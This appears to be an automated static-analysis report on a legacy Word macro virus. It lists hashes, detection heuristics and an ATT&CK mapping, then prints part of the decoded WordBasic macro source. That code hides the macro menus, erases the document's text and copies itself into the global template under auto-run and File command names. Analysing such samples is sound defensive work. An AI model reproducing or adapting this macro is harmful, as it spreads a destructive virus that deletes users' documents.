Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb4a3f5506dd67cd…

MALICIOUS

Office (OLE)

38.0 KB Created: 1999-04-07 13:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ee0691d2b9f5634562749b4532a11cf5 SHA-1: 4a15e351fcfdf4ccc8c5ba2d6680245dc1448868 SHA-256: cb4a3f5506dd67cd598a07d2e9c13cfba8f164a03a178f6b15bc023872be8f28
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used to initiate malicious actions. The macros attempt to copy themselves to global templates, suggesting an effort to achieve persistence or spread. The ClamAV detection 'Doc.Trojan.Swlabs-10' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Swlabs-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-10
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4460 bytes
SHA-256: 18462be8f0e6fb7db540f92f5e0b28abdc75c4cdbd8c3b3e9a1c3b8edbeca75b
Detection
ClamAV: Doc.Trojan.Swlabs-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim FName$
Dim MacName$
Dim Hello
Dim world
Dim try
Dim this
Dim virus
Rem SkamWerks Labs Presents the DestructionConcept Created by SuperTech

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     If WordBasic.[MenuItemText$]("&Tools", 0, 13, 0) = "&Macro..." Then
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&Tools", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
     End If

Rem Virus Payload Area.

     WordBasic.FileSummaryInfo Subject:="Hello jerk, have fun, he he he"
     WordBasic.EditReplace Find:="*.*", Replace:="", ReplaceAll:=1, Wrap:=1
     WordBasic.AppHide "Program Manager"
     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:AutoClose", 1
     WordBasic.MacroCopy MacName$, "Global:AutoExec", 1
     WordBasic.MacroCopy MacName$, "Global:AutoNew", 1
     WordBasic.MacroCopy MacName$, "Global:AutoExit", 1
     WordBasic.MacroCopy MacName$, "Global:FileNew", 1
     WordBasic.MacroCopy MacName$, "Global:FileOpen", 1
     WordBasic.MacroCopy MacName$, "Global:FileClose", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:FileSaveAs", 1
     WordBasic.MacroCopy MacName$, "Global:FileSaveAll", 1
     WordBasic.MacroCopy MacName$, "Global:Htech", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$, 1
AutoCloseHandler:

On Error GoTo -1: On Error GoTo AutoExecHandler
     MacName$ = FName$ + ":AutoExec"
     WordBasic.MacroCopy "Global:AutoExec", MacName$, 1
AutoExecHandler:

On Error GoTo -1: On Error GoTo AutoNewHandler
     MacName$ = FName$ + ":AutoNew"
      WordBasic.MacroCopy "Global:AutoNew", MacName$, 1
AutoNewHandler:

On Error GoTo -1: On Error GoTo AutoExitHandler
     MacName$ = FName$ + ":AutoExit"
     WordBasic.MacroCopy "Global:AutoExit", MacName$, 1
AutoExitHandler:

On Error GoTo -1: On Error GoTo FileNewHandler
     MacName$ = FName$ + ":FileNew"
     WordBasic.MacroCopy "Global:FileNew", MacName$, 1
FileNewHandler:

On Error GoTo -1: On Error GoTo FileOpenHandler
     MacName$ = FName$ + ":FileOpen"
     WordBasic.MacroCopy "Global:FileOpen", MacName$, 1
FileOpenHandler:

On Error GoTo -1: On Error GoTo FileCloseHandler
     MacName$ = FName$ + ":FileClose"
     WordBasic.MacroCopy "Global:FileClose", MacName$, 1
FileCloseHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:

On Error GoTo -1: On Error GoTo FileSaveAsHandler
     MacName$ = FName$ + ":FileSaveAs"
     WordBasic.MacroCopy "Global:FileSaveAs", MacName$, 1
FileSaveAsHandler:

On Error GoTo -1: On Error GoTo FileSaveAllHandler
     MacName$ = FName$ + ":FileSaveAll"
     WordBasic.MacroCopy "Global:FileSaveAll", MacName$, 1
FileSaveAllHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = F
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.